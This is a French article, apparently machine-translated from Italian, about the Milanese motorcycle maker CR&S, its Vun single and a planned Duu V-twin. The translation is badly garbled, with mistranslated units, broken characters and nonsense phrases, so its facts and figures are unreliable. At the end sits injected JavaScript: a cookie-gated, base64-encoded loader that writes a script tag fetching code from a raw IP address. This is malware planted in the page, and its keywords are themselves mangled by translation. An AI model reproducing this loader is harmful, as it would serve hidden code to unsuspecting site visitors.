Dans un Milan el coeur de plus en plus cont chez l'homme, Heureusement, il y a encore quelqu'un qui construit des motos avec le cœur et les mains.
séparément, avec soin et passion. Les histoires de momentum et tant d'hommes qu'ils ont dit, mais ceci est l'histoire d'une idée.
Une histoire simple, mais spécial dans son petit.
Si deux roues déplacent l'âme, le courage de quelques amis a réussi à apporter une marque de moto à Milan. Autrefois dans l'ombre des marques de Madonnina telles que Bianchi exploitées, Miller-Balsamo, Iso Moto, Parrilla, Guazzoni, Innocenti. Et Paton Peppino Pattoni, le dernier constructeur privé à se battre dans les GP contre les géants japonais, avec les quatre cylindres verts.

aujourd'hui, dans la ville de la mode, il y a le CR pour découper des motos sur mesure&S. Vue de l'extérieur, son siège est un petit hangar comme tant d'autres dans la zone industrielle de Settimo Milanese. Sauf pour une chose, motocyclettes queue à l'extérieur: se ressembler, mais ils ne sont pas identiques. Ils sont un peu monocylindre’ coureur de café, un peu’ taille de poche nue. Ils sont appelés Vun. Ils sont l'Idée. Les gens qui l'ont fait fonctionner sous le même toit, en tant que parties d'un même moto. L'atelier est au rez-de-chaussée, les murs sont recouverts d'affiches du Bol d'Or, Tourist Trophy et Assen. Le service de conception et de documents est sur la mezzanine ouverte (plutôt, Spasi Avert), dominé par le carénage sinueux superbike Britten V 1000. Roberto Crepaldi se trouve juste devant. Ce fut lui qui a fondé le Racers Café & Superbikes en 1992, après avoir quitté le numéro un ouvert avec Carlo Talamo et Max Brun. L'année suivante, il a rencontré John Britten, le brillant ingénieur-Zélandais célèbre pour son V 1000. Il trop vite à la poursuite d'une idée. Britten laisser, soutenu en Europe par CR&S, il présente dans les compétitions à travers le monde, jusqu'à la disparition du même Britten. Profiter de l'expérience d'entrepreneur dans le secteur automobile (Il avait été concessionnaire de Ferrari, Jaguar e Aston Martin), Crepaldi s'inspire du dernier projet de son ami John d'un monocylindre de course, monoplace, avec le rapport de poids et de puissance égale à une. un. de, en dialecte milanais… John Cabassi et Giorgio Sarti sont amis, entrepreneurs, penseurs vélos gratuits à 2002 Ils ont flanqué Crepaldi CR&S. Deux ans après Roberto Pattoni, fils Peppino et propriétaire de Paton, devenir partenaires du CR&S en tant que technicien responsable du développement. Le choix du moteur est le Rotax Bombardier 650, apprécié sur la BMW F grâce à sa vocation routière et sa fiabilité . Conçu comme un mono de course, Le Vun prouve un animal à proximité mixte, également excellent pour une utilisation en ville . Le design mélange les lignes classiques du cadre tubulaire avec le corps en aluminium moderne, lignes effilées et solutions technologiques. Chaque pièce est personnalisable, pour que le pilote puisse éprouver le plaisir de construire son propre Vun en choisissant des composants et en les peignant. Au bout du 2006 la production de masse commence, en quelques dizaines d'exemplaires par an, flanqué de prototypes de course. Récemment, les deux versions EvoluziÀ²n du mono da ont été ajoutées 652 cc. Prêt pour la course se développe 68 CV, tandis que le nurmÀ se contente de 54 cv un 7.000 se tourne. Toujours pas mal, en tenant compte du fait que le poids sec n'est que 135 le Chili… Vun parle milanais même dans la fiche technique, dans lequel le disque de frein flottant devient presse à balles à disque et la chaîne avec joints toriques cadÈna cont i anÈi de goma…
Le grand pari de CR&S semble gagné, la distribution s'élargit en Europe et aux États-Unis, mais les idées n'arrêtent pas de tourner. Celui de donner la suite inévitable à Vun, avec deux cylindres hors de la boîte et hors de la logique des grands nombres, était déjà dans l'esprit des constructeurs milanais en 2008. Jusqu'à, Crépaldi raconte, le Motor Bike Expo est la révélation de cette année: Â « Nous sommes l'OMM, Meccanotecnica l'atelier milanais qui importe le Wakan, ainsi que celle de Confederate, juste en face du Zodiac stand avec le nouveau bicylindre S X-Wedge&S. ensuite Wakan, X-Wedge, Confédéré, de… conduit!UNE".
L'histoire contient une figure conceptuelle pour Sela, stylistique et esthétique du nouveau bicylindre CR&S. au fond: un maxi Streetfighter sans précédent, moins élitiste confédéré, radical comme le Wakan et construit
s'appuyant sur l'expérience Vun. Le cœur du projet est le moteur X-Wedge, qui a l'exigence de base de ne pas être une imitation de la Harley-Davidson Twin Cam. Le V2 à 56°S&S C'est tout aussi énorme, mais plus
moderne et puissant, avec son 2.000 cc, les trois arbres à cames, injection électronique. Capable de 160
Nm de couple maximum juste au-dessus 3.000 se tourne. Des trucs de renversement, cependant Euro approuvé 3. Et considérant que le Duu devrait peser « seulement » € ?? 250 le Chili, comme une Harley Sportster 883…
Remarquez comment les nombres se reproduisent: deux cylindres, deux litres, deux sièges (vouloir). Et le grand tube qui caractérise le cadre en acier mixte. Les premières esquisses sont masquées par les superstructures optionnelles, mais il est clair que la beauté du Duu brille dans sa simplicité brutale. Nu et brut, conçu pour être conduit de front et sans trop d'effort, mais conçu pour frapper au creux de l'estomac. Encore
une fois forme, fonction et émotion se poursuivent dans un jeu d'équilibre. Viens la Vun, aussi le Duu C'est une histoire de luxure pour les motocyclistes adultes, évolué et exigeant. Qui veut peut-être retomber amoureux d'un vélo passionnant. Le philosophe Gilles Deleuze l'a dit, qu'"il n'y a pas de révolution sans investissement libidinal". Et sans, même les motos uniques ne sont pas construites, avec le soutien d'un niveau de créativité que les grandes maisons ne peuvent plus se permettre, étouffé par la prudence et la logique marketing. C'est un pari fascinant, tout pour jouer, mais à portée de main. Bien qu'il soit encore de niveau
de prototype, on sait déjà que le prix du Duu devrait fluctuer entre 19 et 20 mille euros.
Un peu plus qu'une Ducati Streetfighter S, en ligne avec le muscle V-Rod, moins qu'un V-Max
et une Harley-Davidson CVO.
Présentation du prototype à l'Eicma de cette année, voir la moto définitive au salon de l'automobile de Milan 2010. Production de la saison suivante: « Nous ne visons pas les grands nombres, nous sommes une petite entreprise avec des idées
clair » conclut Crepaldi. « Le cap des cent vélos par an signifierait atteindre le seuil de rentabilité et nous permettre une marge bénéficiaire, à réinvestir dans le développement de la prochaine moto CR&S». Traduit
librement en milanais: C'est minga de Duu senza Tri.

Lire l'article…

fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}